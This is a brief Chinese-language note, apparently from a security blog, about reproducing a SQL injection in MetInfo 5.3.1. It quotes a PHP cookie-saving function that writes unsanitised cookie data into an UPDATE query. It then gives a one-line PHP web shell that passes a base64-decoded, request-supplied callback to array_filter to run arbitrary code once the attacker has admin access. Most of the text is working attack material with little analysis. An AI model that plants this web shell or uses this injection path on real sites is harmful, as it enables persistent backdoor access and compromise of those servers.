metlnfo 5.3.1 sql注入复现

首先还是要说的是metlnfo是伪全局变量机制

所以如下：

/admin/include/global.func.php

 function save_met_cookie(){
     global $met_cookie,$db,$met_admin_table;
     $met_cookie['time']=time();
     $json=json_encode($met_cookie);
     $username=$met_cookie[metinfo_admin_id]?$met_cookie[metinfo_admin_id]:$met_cookie[metinfo_member_id];
     $username=daddslashes($username,0,1);
     $query="update $met_admin_table set cookie='$json' where id='$username'";
     $user=$db->query($query);
 }

后台拿shell

<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'],); array_filter($arr, base64_decode($e)); ?>